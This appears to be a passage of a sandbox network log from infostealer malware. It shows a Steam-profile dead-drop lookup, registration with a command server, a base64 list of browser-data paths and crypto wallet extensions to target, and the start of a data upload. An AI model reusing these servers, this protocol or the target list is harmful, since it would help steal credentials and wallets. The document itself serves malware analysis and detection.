2024-09-26 17:05:40 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-26 17:05:40 UTC	16384	IN	Data Raw: 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 Data Ascii: ernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" a
2024-09-26 17:05:40 UTC	3765	IN	Data Raw: 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 Data Ascii: e info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	59742	104.21.2.13	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:41 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ballotnwu.site
2024-09-26 17:05:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:41 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=maso5bkju6cnohagnqe80re5pk; expires=Mon, 20 Jan 2025 10:52:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xoVpKGm7XuGzTGSceJzXUnVbnrJQOrVPhm6YRgtenWbx%2FpzzhPQDT%2FbY16v%2F8B3Qioz3wV6k7ps0N4eORkqmMMfgFilxSlAQdgFTKahbpWFglZxerAD0XZeD4u7DgJTYBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d719cd6842be-EWR
2024-09-26 17:05:41 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	59743	104.102.49.254	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:47 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:05:48 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 26 Sep 2024 17:05:48 GMT Content-Length: 34725 Connection: close Set-Cookie: sessionid=ecd49c318d93a344d2c63c2f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-26 17:05:48 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-26 17:05:48 UTC	16384	IN	Data Raw: 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e Data Ascii: enDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="n
2024-09-26 17:05:48 UTC	3768	IN	Data Raw: 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f Data Ascii: vate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></
2024-09-26 17:05:48 UTC	59	IN	Data Raw: 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: </div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	59744	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:49 UTC	185	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:05:49 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:05:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:05:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	59745	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:50 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:05:50 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 41 45 37 30 46 31 44 38 30 41 31 36 33 33 30 34 37 39 38 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 2d 2d 0d Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="hwid"9EAE70F1D80A1633047986-a33c7340-61ca------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------CGCFIIEBKEGHJJJJJJDA--
2024-09-26 17:05:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:05:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:05:51 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|207bce3f5f80be7d8d4fde15b103ca94\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	59746	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:51 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:05:51 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------AFHDBGHJKFIDHJJJEBKECont
2024-09-26 17:05:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:05:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:05:52 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	59747	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:53 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:05:53 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------DHJEBGIEBFIJKEBFBFHICont
2024-09-26 17:05:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:05:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:05:53 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	59748	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:54 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:05:54 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------AFBFHDBKJEGHJJJKFIIJCont
2024-09-26 17:05:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:05:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:05:55 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	59749	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:55 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 6105 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:05:55 UTC	6105	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------DAFHIDGIJKJKECBGDBGHCont
